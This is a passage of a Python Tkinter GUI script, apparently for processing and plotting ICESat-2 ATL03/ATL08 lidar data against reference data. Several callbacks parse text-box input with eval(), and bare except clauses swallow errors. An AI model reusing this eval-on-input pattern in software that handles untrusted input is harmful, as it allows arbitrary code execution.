useFixedVertShiftChkState.get()\r\n if(useVertShift):\r\n verticalShift_textBox.config(state = 'normal')\r\n else:\r\n verticalShift_textBox.config(state = 'disabled')\r\n # endIf\r\n# endDef\r\n \r\n### Use Fixed Vertical Shift Check Box\r\nuseFixedVertShiftChkState = tk.BooleanVar()\r\nuseFixedVertShiftChkState.set(False)\r\nuseFixedVertShift_checkBox = tk.Checkbutton(measErrorLabelframe, text = 'Use Fixed Vertical Shift', font=('Arial', 12), var=useFixedVertShiftChkState, command=useVertShiftCallback) \r\nuseFixedVertShift_checkBox.place(x=10, y=43)\r\n\r\n### Vertical Shift Amount Entry Box\r\nlbl = tk.Label(measErrorLabelframe, text='Vertical Shift (m):', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=240, y=45)\r\nverticalShift_textBox = tk.Entry(measErrorLabelframe, width=10)\r\nverticalShift_textBox.place(x=370, y=50)\r\nverticalShift_textBox.insert(0,'0')\r\nverticalShift_textBox.config(state = 'disabled')\r\n\r\n# Use measured signal confidence checkbox callback\r\ndef useMeasSigConfCallback():\r\n useMeasSigConf = useMeasSigConfChkState.get()\r\n if(useMeasSigConf):\r\n measSigConfIndex_textBox.config(state = 'normal')\r\n truthGroundIndex_textBox.config(state = 'disabled')\r\n useGroundIndexChkState.set(False)\r\n else:\r\n measSigConfIndex_textBox.config(state = 'disabled')\r\n truthGroundIndex_textBox.config(state = 'normal')\r\n useGroundIndexChkState.set(True)\r\n # endIf\r\n# endDef\r\n \r\n### Use Measured Signal Confidence Entry Box\r\nuseMeasSigConfChkState = tk.BooleanVar()\r\nuseMeasSigConfChkState.set(True)\r\nuseMeasSigConf_checkBox = tk.Checkbutton(measErrorLabelframe, text = 'Use ICESat-2 Signal Confidence Value(s):', font=('Arial', 12), var=useMeasSigConfChkState, command=useMeasSigConfCallback) \r\nuseMeasSigConf_checkBox.place(x=10, y=115)\r\n\r\n### Measured Signal Confidence Entry Box\r\nmeasSigConfIndex_textBox = tk.Entry(measErrorLabelframe, width=8)\r\nmeasSigConfIndex_textBox.place(x=340, y=120)\r\nmeasSigConfIndex_textBox.insert(0,'3, 4')\r\n\r\n# Use measured signal confidence checkbox callback\r\ndef useGroundIndexConfCallback():\r\n useGroundIndex = useGroundIndexChkState.get()\r\n if(useGroundIndex):\r\n truthGroundIndex_textBox.config(state = 'normal')\r\n measSigConfIndex_textBox.config(state = 'disabled')\r\n useMeasSigConfChkState.set(False)\r\n else:\r\n truthGroundIndex_textBox.config(state = 'disabled')\r\n measSigConfIndex_textBox.config(state = 'normal')\r\n useMeasSigConfChkState.set(True)\r\n # endIf\r\n# endDef\r\n \r\n### Use Truth Ground Index Entry Box\r\nuseGroundIndexChkState = tk.BooleanVar()\r\nuseGroundIndexChkState.set(False)\r\nuseGroundIndex_checkBox = tk.Checkbutton(measErrorLabelframe, text = 'Use Reference Ground Index:', font=('Arial', 12), var=useGroundIndexChkState, command=useGroundIndexConfCallback) \r\nuseGroundIndex_checkBox.place(x=10, y=150)\r\nuseGroundIndex_checkBox.config(state = 'disabled')\r\n\r\n### Truth Ground Index Entry Box\r\ntruthGroundIndex_textBox = tk.Entry(measErrorLabelframe, width=5)\r\ntruthGroundIndex_textBox.place(x=245, y=155)\r\ntruthGroundIndex_textBox.insert(0,'2')\r\ntruthGroundIndex_textBox.config(state = 'disabled')\r\nlbl = tk.Label(measErrorLabelframe, text='(Requires ATL08 File)', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=285, y=150)\r\n\r\n### Create Measured Corrected File Check Box\r\ncreateMeasCorrFileChkState = tk.BooleanVar()\r\ncreateMeasCorrFileChkState.set(True)\r\ncreateMeasCorrFile_checkBox = tk.Checkbutton(measErrorLabelframe, text = 'Create Shifted ICESat-2 File', font=('Arial', 12), var=createMeasCorrFileChkState) \r\ncreateMeasCorrFile_checkBox.place(x=10, y=185)\r\n\r\n### Make Plots Check Box\r\nmakePlotsChkState = tk.BooleanVar()\r\nmakePlotsChkState.set(True)\r\nmakePlots_checkBox = tk.Checkbutton(measErrorLabelframe, text = 'Make Output Plots', font=('Arial', 12), var=makePlotsChkState) \r\nmakePlots_checkBox.place(x=280, y=185)\r\n\r\n\r\n# Run Button Callback\r\ndef runAtl03():\r\n \r\n # Update status bar\r\n statusBar['value'] = 0\r\n window.update()\r\n \r\n # Make atlMeasuredData a global variable\r\n global atl03Data, atl08Data, atlTruthData, atlTruthDataFiltered, atlCorrections, atl03FileExists, atl08FileExists, truthDataExists\r\n \r\n # Initialize variables\r\n atl03Data = []\r\n atl03DataSingle = []\r\n atl08Data = []\r\n atl08DataSingle = []\r\n atlTruthData = []\r\n atlTruthDataSingle = []\r\n atlTruthDataFiltered = []\r\n atlTruthDataFilteredSingle = []\r\n atlCorrections = []\r\n atlCorrectionsSingle = []\r\n \r\n # Check ATL03 file\r\n checkATL03()\r\n \r\n # Check ATL08 file\r\n checkATL08()\r\n \r\n # Check Truth Directory\r\n checkTruthDir()\r\n \r\n # Check output file path\r\n outFilePath = outPath_textBox.get().strip()\r\n if('' == outFilePath):\r\n outPathExists = False\r\n else:\r\n outPathExists = os.path.isdir(outFilePath)\r\n if(not outPathExists):\r\n os.mkdir(outFilePath)\r\n outPathExists = True\r\n # endIf\r\n # endIf\r\n \r\n # Get reference section status\r\n useTruthSection = useTruthSectionChkState.get()\r\n \r\n truthOkToRun = True\r\n if(useTruthSection):\r\n if(not truthDataExists):\r\n truthOkToRun = False\r\n # endIf\r\n # endIf\r\n \r\n if(atl03FileExists and outPathExists and truthOkToRun):\r\n \r\n # Disable run button\r\n RunButton.config(state=tk.DISABLED)\r\n \r\n # Try code\r\n try:\r\n \r\n # Start timer\r\n timeStart = runTime.time()\r\n \r\n # Get Measured Data inputs\r\n atl03FilePath = atl03_textBox.get().strip()\r\n if(atl08FileExists):\r\n atl08FilePath = atl08_textBox.get().strip()\r\n else:\r\n atl08FilePath = ''\r\n # endIf\r\n gtNumsTF = [gtNum1rChkState.get(), gtNum1lChkState.get(), gtNum2rChkState.get(), gtNum2lChkState.get(), gtNum3rChkState.get(), gtNum3lChkState.get()] \r\n gtNums = gtNumsAll[gtNumsTF] \r\n \r\n # Get Truth Data inputs\r\n if(useTruthSection):\r\n useExistingTruth = useExistingTruthChkState.get()\r\n truthSwathDir = truthDataDir_textBox.get().strip()\r\n bufferInput = truthBuffer_textBox.get().strip()\r\n if('' == bufferInput):\r\n buffer = 0\r\n else:\r\n buffer = int(bufferInput)\r\n # endIf\r\n createTruthFile = createTruthFileChkState.get()\r\n # endIf\r\n \r\n # Get Corrected Measured inputs\r\n useMeasErrorSection = useMeasErrorSectionChkState.get()\r\n if(useMeasErrorSection):\r\n offsetsCrossTrackBounds = eval('[' + crossTrackBounds_textBox.get().strip() + ']')\r\n offsetsAlongTrackBounds = eval('[' + alongTrackBounds_textBox.get().strip() + ']')\r\n offsetsRasterResolutions = eval('[' + multiresStepdown_textBox.get().strip() + ']')\r\n offsetsUseVerticalShift = useFixedVertShiftChkState.get()\r\n offsetsVerticalShift = float(verticalShift_textBox.get().strip())\r\n offsets = offsetsStruct(offsetsCrossTrackBounds, offsetsAlongTrackBounds, offsetsRasterResolutions, offsetsUseVerticalShift, offsetsVerticalShift)\r\n useMeasSigConf = useMeasSigConfChkState.get()\r\n if(useMeasSigConf):\r\n filterData = eval('[' + measSigConfIndex_textBox.get().strip() + ']')\r\n else:\r\n filterData = int(truthGroundIndex_textBox.get().strip())\r\n # endIf\r\n createMeasCorrFile = createMeasCorrFileChkState.get()\r\n makePlots = makePlotsChkState.get()\r\n showPlots = False\r\n # endIf\r\n \r\n # Get trim inputs\r\n if(trimNoneModeChkState.get()):\r\n trimInfo = 'none'\r\n elif(trimAutoModeChkState.get()):\r\n trimInfo = 'auto'\r\n elif(trimManualModeChkState.get()):\r\n trimMode = 'manual'\r\n if(latModeChkState.get()):\r\n trimType = 'lat'\r\n trimMin = latMin_textBox.get()\r\n trimMax = latMax_textBox.get()\r\n elif(timeModeChkState.get()):\r\n trimType = 'time'\r\n trimMin = timeMin_textBox.get()\r\n trimMax = timeMax_textBox.get()\r\n trimInfo = trimMode + ',' + trimType + ',' + trimMin + ',' + trimMax\r\n else:\r\n trimInfo = 'none'\r\n trimNoneModeChkState.set(True)\r\n # endIf\r\n \r\n # Get output file options\r\n createLasFile = createLasChkState.get()\r\n createKmlFile = createKmlChkState.get()\r\n createCsvFile = createCsvChkState.get()\r\n createATL08KmlFile = createATL08KmlChkState.get()\r\n createATL08CsvFile = createATL08CsvChkState.get()\r\n \r\n # Loop through all gt nums\r\n headerData = False\r\n rotationData = False\r\n for i in range(0,len(gtNums)):\r\n \r\n # Update status bar\r\n statusBar['value'] = 0\r\n window.update()\r\n \r\n # Get GT Nums\r\n gtNum = gtNums[i].lower()\r\n \r\n # Run getAtlMeasuredSwath function\r\n print('Getting Measured Data...\\n')\r\n atl03DataSingle, atl08DataSingle, headerData, rotationData = getAtlMeasuredSwath(atl03FilePath, atl08FilePath, outFilePath, gtNum, trimInfo, createLasFile, createKmlFile, createATL08KmlFile, createCsvFile, createATL08CsvFile)\r\n \r\n # Update status bar\r\n progressNum = 30\r\n statusBar['value'] = progressNum\r\n window.update()\r\n \r\n # Append measured data for each run\r\n atl03Data.append(atl03DataSingle)\r\n if(atl08FileExists):\r\n atl08Data.append(atl08DataSingle)\r\n # endIf\r\n\r\n if(useTruthSection and truthDataExists):\r\n print('Getting Reference Data...\\n')\r\n atlTruthDataSingle = getAtlTruthSwath(atl03DataSingle, headerData, rotationData, useExistingTruth, truthSwathDir, buffer, outFilePath, createTruthFile)\r\n \r\n # Run superfilter on data\r\n print(' Running superfilter on data...')\r\n atlTruthDataFilteredSingle, _ = superFilter(atl03DataSingle, atlTruthDataSingle, xBuf = 1, classCode = [])\r\n print('\\n')\r\n \r\n # Append reference data for each run\r\n atlTruthData.append(atlTruthDataSingle)\r\n atlTruthDataFiltered.append(atlTruthDataFilteredSingle)\r\n \r\n # Update status bar\r\n progressNum = 60\r\n statusBar['value'] = progressNum\r\n window.update()\r\n \r\n # endIf\r\n \r\n if(useMeasErrorSection):\r\n print('Finding Measurement Offsets...\\n')\r\n atlCorrectionsSingle = getMeasurementError(atl03DataSingle, atlTruthDataSingle, rotationData, outFilePath, useMeasSigConf, filterData, offsets, createMeasCorrFile, makePlots, showPlots)\r\n \r\n # Append corrected measured data for each run\r\n atlCorrections.append(atlCorrectionsSingle)\r\n\r\n # Update status bar\r\n progressNum = 90\r\n statusBar['value'] = progressNum\r\n window.update()\r\n \r\n # endIf\r\n \r\n # Update status bar\r\n progressNum = 100\r\n statusBar['value'] = progressNum\r\n window.update()\r\n \r\n # endFor\r\n \r\n if(len(gtNums)==0):\r\n \r\n # Reset status bar and print warning\r\n statusBar['value'] = 0\r\n print('\\nWARNING: No Ground Track Selected.\\n')\r\n # endIf\r\n \r\n if(atl03Data):\r\n \r\n # Set Ground Tracks to plot\r\n gtNumsTuple = tuple(gtNums)\r\n gtNumPlotBox['values'] = gtNumsTuple\r\n gtNumPlotBox.current(0)\r\n \r\n if(atl03Data[0].zone=='3413' or atl03Data[0].zone=='3976'):\r\n \r\n plotVarsTuple = ('Time (sec)', 'Latitude (deg)', 'Longitude (deg)', \\\r\n 'Polar Stereo X (m)', 'Polar Stereo Y (m)', \\\r\n 'Cross-Track (m)', 'Along-Track (m)', \\\r\n 'Height (m)', \\\r\n 'Classification', 'Signal Confidence')\r\n \r\n else:\r\n \r\n plotVarsTuple = ('Time (sec)', 'Latitude (deg)', 'Longitude (deg)', \\\r\n 'UTM Easting (m)', 'UTM Northing (m)', \\\r\n 'Cross-Track (m)', 'Along-Track (m)', \\\r\n 'Height (m)', \\\r\n 'Classification', 'Signal Confidence')\r\n \r\n # endIf\r\n \r\n # Set X Vals to plot\r\n xValsBox['values'] = plotVarsTuple\r\n xValsBox.current(0)\r\n \r\n # Set Y Vals to plot\r\n yValsBox['values'] = plotVarsTuple\r\n yValsBox.current(7)\r\n \r\n # Set X Label\r\n xAxisVal = xValsBox.get()\r\n currentData = xlabel_textBox.get()\r\n xlabel_textBox.delete(0,len(currentData))\r\n xlabel_textBox.insert(0,xAxisVal) \r\n \r\n # Set Y label\r\n yAxisVal = yValsBox.get()\r\n currentData = ylabel_textBox.get()\r\n ylabel_textBox.delete(0,len(currentData))\r\n ylabel_textBox.insert(0,yAxisVal) \r\n \r\n # Set Vals to filter on\r\n if(atl08FileExists):\r\n filterTuple = (' ','Classification', 'Signal Confidence')\r\n else:\r\n filterTuple = (' ', 'Signal Confidence')\r\n # endIf\r\n filterBox['values'] = filterTuple\r\n filterBox.current(0)\r\n \r\n # Set Filter Number Checkboxes\r\n filter0_checkBox.place_forget()\r\n filter1_checkBox.place_forget()\r\n filter2_checkBox.place_forget() \r\n filter3_checkBox.place_forget() \r\n filter4_checkBox.place_forget()\r\n filter0ChkState.set(False)\r\n filter1ChkState.set(False)\r\n filter2ChkState.set(False)\r\n filter3ChkState.set(False)\r\n filter4ChkState.set(False)\r\n \r\n # endIf\r\n \r\n if(atl08Data):\r\n \r\n # Set Y Vals to plot\r\n yValsTuple_atl08 = ('Max Canopy (m)', 'Terrain Best Fit (m)', 'Terrain Median (m)')\r\n yValsBox_atl08['values'] = yValsTuple_atl08\r\n yValsBox_atl08.current(0)\r\n \r\n # endIf\r\n \r\n # End timer\r\n timeEnd = runTime.time()\r\n timeElapsedTotal = timeEnd - timeStart\r\n timeElapsedMin = np.floor(timeElapsedTotal / 60)\r\n timeElapsedSec = timeElapsedTotal % 60\r\n \r\n # Print completion message\r\n print('RUN COMPLETE (Total Run Time = %d min %d sec).' % (timeElapsedMin, timeElapsedSec))\r\n print('\\n')\r\n \r\n except:\r\n \r\n # Enable run button\r\n RunButton.config(state=tk.NORMAL)\r\n \r\n print('Could not process data. Please check inputs.')\r\n #endTry\r\n \r\n else:\r\n \r\n if(not atl03FileExists):\r\n messagebox.showinfo('Error','Please select valid input file(s).')\r\n # endIf\r\n \r\n if(not outPathExists):\r\n messagebox.showinfo('Error','Please select valid output directory.')\r\n # endIf\r\n \r\n if(useTruthSection and (not truthDataExists)):\r\n messagebox.showinfo('Error','Please select valid reference data file/directory.')\r\n # endIf\r\n \r\n # endIf\r\n \r\n # Enable run button\r\n RunButton.config(state=tk.NORMAL)\r\n\r\n# endDef\r\n \r\n### MEASUREMENT ERROR Panel label\r\nrunButtonLabelframe = tk.LabelFrame(tab1, width=545, height=60, text='', font=('Arial Bold', 14))\r\nrunButtonLabelframe.place(x=580, y=400)\r\n\r\n# Run Button\r\nRunButton = tk.Button(runButtonLabelframe, text='RUN', font=('Arial Bold', 16), width = 18, command=runAtl03) \r\nRunButton.place(x=50, y=5)\r\n\r\n### Make status bar\r\nlbl = tk.Label(runButtonLabelframe, text='Progress:', font=('Arial Bold', 10))\r\nlbl.place(x=320, y=2)\r\nstatusBar = Progressbar(runButtonLabelframe, length=190)\r\nstatusBar['value'] = 0\r\nstatusBar.place(x=320, y=25)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 2: PLOT OPTIONS\r\n#\r\n###############################################################################\r\n\r\n### Panel label\r\nlabelframe = tk.LabelFrame(tab2, width=545, height=380, text='Plot ICESat-2 Data Options', font=('Arial Bold', 14))\r\nlabelframe.place(x=15, y=10)\r\n\r\n# Plot text\r\nlbl = tk.Label(tab2, text='ATL03 Plotting Options:', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=50)\r\n\r\n# X Axis Callback\r\ndef xAxisCallback(event):\r\n xAxisVal = xValsBox.get()\r\n currentData = xlabel_textBox.get()\r\n xlabel_textBox.delete(0,len(currentData))\r\n xlabel_textBox.insert(0,xAxisVal) \r\n# endDef\r\n \r\n# Y Axis Callback\r\ndef yAxisCallback(event):\r\n yAxisVal = yValsBox.get()\r\n currentData = ylabel_textBox.get()\r\n ylabel_textBox.delete(0,len(currentData))\r\n ylabel_textBox.insert(0,yAxisVal) \r\n# endDef\r\n \r\n## GT Num Plot Callback\r\n#def gtNumPlotCallback(event):\r\n# gtNumVal = gtNumPlotBox.get()\r\n# currentData = title_textBox.get()\r\n# title_textBox.delete(0,len(currentData))\r\n# title_textBox.insert(0,gtNumVal) \r\n## endDef\r\n \r\n \r\n# Filter Number Checkboxes\r\nfilter0ChkState = tk.BooleanVar()\r\nfilter0ChkState.set(False)\r\nfilter0_checkBox = tk.Checkbutton(tab2, text = '0', font=('Arial', 12), var = filter0ChkState) \r\n\r\nfilter1ChkState = tk.BooleanVar()\r\nfilter1ChkState.set(False)\r\nfilter1_checkBox = tk.Checkbutton(tab2, text = '1', font=('Arial', 12), var = filter1ChkState) \r\n\r\nfilter2ChkState = tk.BooleanVar()\r\nfilter2ChkState.set(False)\r\nfilter2_checkBox = tk.Checkbutton(tab2, text = '2', font=('Arial', 12), var = filter2ChkState) \r\n\r\nfilter3ChkState = tk.BooleanVar()\r\nfilter3ChkState.set(False)\r\nfilter3_checkBox = tk.Checkbutton(tab2, text = '3', font=('Arial', 12), var = filter3ChkState) \r\n\r\nfilter4ChkState = tk.BooleanVar()\r\nfilter4ChkState.set(False)\r\nfilter4_checkBox = tk.Checkbutton(tab2, text = '4', font=('Arial', 12), var = filter4ChkState) \r\n \r\n# Filter Choice Callback\r\ndef filterChoiceCallback(event):\r\n \r\n # Get filter value\r\n filterChoice = filterBox.get()\r\n \r\n if(' ' in filterChoice.lower()):\r\n \r\n # Filter Number Checkboxes\r\n filter0_checkBox.place_forget()\r\n filter1_checkBox.place_forget()\r\n filter2_checkBox.place_forget() \r\n filter3_checkBox.place_forget() \r\n filter4_checkBox.place_forget()\r\n \r\n elif('class' in filterChoice.lower()):\r\n \r\n # Filter Number Checkboxes\r\n filter0_checkBox.place(x=30, y=230) \r\n filter0_checkBox.config(text = 'Unclassified')\r\n filter0ChkState.set(False)\r\n filter1_checkBox.place(x=160, y=230)\r\n filter1_checkBox.config(text = 'Ground')\r\n filter1ChkState.set(False)\r\n filter2_checkBox.place(x=250, y=230)\r\n filter2_checkBox.config(text = 'Canopy') \r\n filter2ChkState.set(False)\r\n filter3_checkBox.place(x=350, y=230) \r\n filter3_checkBox.config(text = 'Top of Canopy') \r\n filter3ChkState.set(False)\r\n filter4_checkBox.place_forget()\r\n filter4ChkState.set(False)\r\n \r\n elif('signal' in filterChoice.lower()):\r\n \r\n # Filter Number Checkboxes\r\n filter0_checkBox.place(x=30, y=230) \r\n filter0_checkBox.config(text = '0')\r\n filter0ChkState.set(False)\r\n filter1_checkBox.place(x=80, y=230) \r\n filter1_checkBox.config(text = '1')\r\n filter1ChkState.set(False)\r\n filter2_checkBox.place(x=130, y=230)\r\n filter2_checkBox.config(text = '2') \r\n filter2ChkState.set(False) \r\n filter3_checkBox.place(x=180, y=230)\r\n filter3_checkBox.config(text = '3')\r\n filter3ChkState.set(False)\r\n filter4_checkBox.place(x=230, y=230)\r\n filter4_checkBox.config(text = '4')\r\n filter4ChkState.set(False)\r\n \r\n # endIf\r\n# endDef\r\n \r\n# GT Num Plot Combo Box\r\nlbl = tk.Label(tab2, text='Ground Track:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=80)\r\ngtNumPlotBox = Combobox(tab2, width=10)\r\ngtNumPlotBox.place(x= 150, y = 82)\r\n#gtNumPlotBox.bind(\"<>\", gtNumPlotCallback)\r\n\r\n# X Axis Combo Box\r\nlbl = tk.Label(tab2, text='X Axis:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=110)\r\nxValsBox = Combobox(tab2)\r\nxValsBox.place(x= 90, y = 112)\r\nxValsBox.bind(\"<>\", xAxisCallback)\r\n\r\n# X Label Entry Box\r\nlbl = tk.Label(tab2, text='X Label:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=260, y=110)\r\nxlabel_textBox = tk.Entry(tab2, width=30)\r\nxlabel_textBox.place(x=330, y=112)\r\n\r\n# Y Axis Combo Box\r\nlbl = tk.Label(tab2, text='Y Axis:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=140)\r\nyValsBox = Combobox(tab2)\r\nyValsBox.place(x= 90, y = 142)\r\nyValsBox.bind(\"<>\", yAxisCallback)\r\n\r\n# Y Label Entry Box\r\nlbl = tk.Label(tab2, text='Y Label:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=260, y=140)\r\nylabel_textBox = tk.Entry(tab2, width=30)\r\nylabel_textBox.place(x=330, y=142)\r\n\r\n## Title Entry Box\r\n#lbl = tk.Label(tab2, text='Title:', font=('Arial', 12), anchor = 'w', justify='left')\r\n#lbl.place(x=30, y=170)\r\n#title_textBox = tk.Entry(tab2, width=35)\r\n#title_textBox.place(x=80, y=175)\r\n\r\n# Filter On Combo Box\r\nlbl = tk.Label(tab2, text='Filter On:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=190)\r\nfilterBox = Combobox(tab2, width=27)\r\nfilterBox.place(x= 110, y = 192)\r\nfilterBox.bind(\"<>\", filterChoiceCallback)\r\n\r\n# Itialize lists\r\nplotList = ('time', 'lat', 'lon', 'easting', 'northing', \\\r\n 'crossTrack', 'alongTrack', 'z', 'classification', 'signalConf')\r\nfilterState = np.array([0,1,2,3,4])\r\n\r\n# Plot Button Callback\r\ndef plotAtl03():\r\n \r\n # Try plot code\r\n try:\r\n \r\n # Get\r\n gtNumToPlot = gtNumPlotBox.current()\r\n \r\n # Get x,y combo box number selections\r\n xVarNum = xValsBox.current()\r\n yVarNum = yValsBox.current()\r\n \r\n # Get x,y combo bxx text selections\r\n xData = eval('atl03Data[' + str(gtNumToPlot) + '].' + plotList[xVarNum])\r\n yData = eval('atl03Data[' + str(gtNumToPlot) + '].' + plotList[yVarNum])\r\n fileName = eval('atl03Data[' + str(gtNumToPlot) + '].atl03FileName')\r\n gtNum = eval('atl03Data[' + str(gtNumToPlot) + '].gtNum')\r\n \r\n # Get labels\r\n xLabel = xlabel_textBox.get()\r\n yLabel = ylabel_textBox.get()\r\n title = fileName + ' (' + gtNum + ')'\r\n \r\n # Get Filter data type (classification or signal confidence) and filter numbers\r\n filterChoice = filterBox.get()\r\n if(' ' in filterChoice.lower()):\r\n filterType = []\r\n filterData = []\r\n filterNum = []\r\n elif('class' in filterChoice.lower()):\r\n filterType = filterChoice\r\n filterData = eval('atl03Data[' + str(gtNumToPlot) + '].classification')\r\n filterTF = [filter0ChkState.get(), filter1ChkState.get(), filter2ChkState.get(), filter3ChkState.get(), filter4ChkState.get()] \r\n filterNum = filterState[filterTF]\r\n elif('signal' in filterChoice.lower()):\r\n filterType = filterChoice\r\n filterData = eval('atl03Data[' + str(gtNumToPlot) + '].signalConf')\r\n filterTF = [filter0ChkState.get(), filter1ChkState.get(), filter2ChkState.get(), filter3ChkState.get(), filter4ChkState.get()] \r\n filterNum = filterState[filterTF]\r\n # endIf\r\n \r\n \r\n # Get output path\r\n outPath = outPath_textBox.get().strip()\r\n \r\n # Get original plot title\r\n origTitle = title\r\n \r\n # Get gtNum\r\n gtNum = gtNumPlotBox.current()\r\n \r\n # Call getPlot function\r\n getPlot(xData, yData, xLabel, yLabel, title, outPath, origTitle, atl03Data[gtNum], filterType, filterData, filterNum)\r\n \r\n except:\r\n \r\n print('Cannot plot data. Please check inputs')\r\n \r\n # endTry\r\n# endDef\r\n \r\n# Plot ATL03 Button\r\nbtn = tk.Button(tab2, text='PLOT', font=('Arial Bold', 16), width = 15, command=plotAtl03) \r\nbtn.place(x=335, y=178) \r\n\r\n# ATL08 Plot text\r\nlbl = tk.Label(tab2, text='Add ATL08 Data:', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=305)\r\n\r\n# ATL08 Y Axis Combo Box\r\nlbl = tk.Label(tab2, text='Y Axis:', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=30, y=335)\r\nyValsBox_atl08 = Combobox(tab2, width=30)\r\nyValsBox_atl08.place(x=90, y=337)\r\n\r\n# Itialize ATL08 plot lists\r\nplotList_atl08 = ('maxCanopy', 'teBestFit', 'teMedian')\r\n\r\n# Plot ATL08 Button Callback\r\ndef plotAtl08():\r\n \r\n # Try plot code\r\n try:\r\n \r\n # Get\r\n gtNumToPlot = gtNumPlotBox.current()\r\n \r\n # Get x,y combo box number selections\r\n xVarNum = xValsBox.current()\r\n yVarNum = yValsBox_atl08.current()\r\n \r\n # Get x,y combo bxx text selections\r\n xData = eval('atl08Data[' + str(gtNumToPlot) + '].' + plotList[xVarNum])\r\n yData = eval('atl08Data[' + str(gtNumToPlot) + '].' + plotList_atl08[yVarNum])\r\n fileName = eval('atl03Data[' + str(gtNumToPlot) + '].atl03FileName')\r\n gtNum = eval('atl03Data[' + str(gtNumToPlot) + '].gtNum')\r\n \r\n # Remove bad data from ATL08\r\n indsToKeep = yData<=1e20\r\n xData = xData[indsToKeep]\r\n yData = yData[indsToKeep]\r\n \r\n # Get labels\r\n xLabel = xlabel_textBox.get()\r\n yLabel = ylabel_textBox.get()\r\n title = fileName + ' (' + gtNum + ')'\r\n \r\n yName = plotList_atl08[yVarNum]\r\n \r\n # Call getPlot function\r\n getPlot_atl08(xData, yData, xLabel, yLabel, title, yName)\r\n \r\n except:\r\n \r\n print('Cannot plot data. Please check inputs')\r\n \r\n # endTry\r\n# endDef\r\n \r\n# Plot ATL08 Button\r\nbtn = tk.Button(tab2, text='ADD TO PLOT', font=('Arial Bold', 16), width = 15, command=plotAtl08) \r\nbtn.place(x=335, y=330)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 2: PLOT OPTIONS - TRUTH\r\n#\r\n###############################################################################\r\n\r\n### Plot Truth Panel label\r\ntruthPlotLabelframe = tk.LabelFrame(tab2, width=545, height=130, text='Add Reference Data', font=('Arial Bold', 14))\r\ntruthPlotLabelframe.place(x=580, y=10)\r\n\r\n# Truth Data Y Axis Combo Box\r\ntruthText = ['Reference data can only be plotted\\n' \\\r\n 'when ATL03 x/y values are set to:\\n' \\\r\n 'easting, northing, cross-track,\\n' \\\r\n 'along-track, or height.']\r\n \r\n \r\nlbl = tk.Label(truthPlotLabelframe, text=truthText[0], font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=8)\r\n\r\n# Itialize Truth data plot lists\r\nplotList_truth = ('time', 'latitude', 'longitude', \\\r\n 'easting', 'northing', \\\r\n 'crossTrack', 'alongTrack', \\\r\n 'z', 'class', 'confidence')\r\n\r\nplotList_truthNames = ('Reference Time', 'Reference Lat', 'Reference Lon', \\\r\n 'Reference Easting', 'Reference Northing', \\\r\n 'Reference Cross-Track', 'Reference Along-Track', \\\r\n 'Reference Height', 'Reference Class', 'Reference Conf') \r\n\r\n# Plot Truth Button Callback\r\ndef plotTruth():\r\n \r\n # Try plot code\r\n try:\r\n \r\n # Get\r\n gtNumToPlot = gtNumPlotBox.current()\r\n \r\n # Get x,y combo box number selections\r\n xVarNum = xValsBox.current()\r\n yVarNum = yValsBox.current()\r\n \r\n # x,y param names\r\n xParam = plotList_truth[xVarNum]\r\n yParam = plotList_truth[yVarNum]\r\n \r\n if('time' in xParam or 'time' in yParam):\r\n messagebox.showinfo('Error','Reference data cannot plot time.')\r\n elif('latitude' in xParam or 'latitude' in yParam):\r\n messagebox.showinfo('Error','Reference data cannot plot latitude.')\r\n elif('longitude' in xParam or 'longitude' in yParam):\r\n messagebox.showinfo('Error','Reference data cannot plot longitude.')\r\n elif('class' in xParam or 'class' in yParam):\r\n messagebox.showinfo('Error','Reference data cannot plot classification.')\r\n elif('confidence' in xParam or 'confidence' in yParam):\r\n messagebox.showinfo('Error','Reference data cannot plot signal confidence.')\r\n else: \r\n \r\n # Get x,y combo bxx text selections\r\n xData = eval('atlTruthDataFiltered[' + str(gtNumToPlot) + '].' + xParam)\r\n yData = eval('atlTruthDataFiltered[' + str(gtNumToPlot) + '].' + yParam)\r\n fileName = eval('atl03Data[' + str(gtNumToPlot) + '].atl03FileName')\r\n gtNum = eval('atl03Data[' + str(gtNumToPlot) + '].gtNum')\r\n \r\n # Get labels\r\n xLabel = xlabel_textBox.get()\r\n yLabel = ylabel_textBox.get()\r\n title = fileName + ' (' + gtNum + ')'\r\n \r\n yName = plotList_truthNames[yVarNum]\r\n \r\n # Call getPlot function\r\n getPlot_truth(xData, yData, xLabel, yLabel, title, yName)\r\n \r\n # endIf\r\n \r\n except:\r\n \r\n print('Cannot plot data. Please check inputs')\r\n \r\n # endTry\r\n# endDef\r\n\r\n# Plot Truth Button\r\nbtn = tk.Button(truthPlotLabelframe, text='ADD TO PLOT', font=('Arial Bold', 16), width = 15, command=plotTruth) \r\nbtn.place(x=320, y=25)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 2: PLOT OPTIONS - CORRECTED MEASURED\r\n#\r\n###############################################################################\r\n\r\n### Plot Corrected Measured Panel label\r\nmeasCorrPlotLabelframe = tk.LabelFrame(tab2, width=545, height=130, text='Add Shifted ICESat-2 Data', font=('Arial Bold', 14))\r\nmeasCorrPlotLabelframe.place(x=580, y=150)\r\n\r\n# Truth Data Y Axis Combo Box\r\nmeasCorrText = ['Shifted ICESat-2 data can only be\\n' \\\r\n 'plotted when ATL03 x/y values are set to:\\n' \\\r\n 'easting, northing, cross-track,\\n' \\\r\n 'along-track, or height.']\r\n\r\n# Corrected Measured Data Y Axis Combo Box\r\nlbl = tk.Label(measCorrPlotLabelframe, text=measCorrText[0], font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=8)\r\n\r\nplotList_measCorr = ('time', 'latitude', 'longitude', \\\r\n 'easting', 'northing', \\\r\n 'crossTrack', 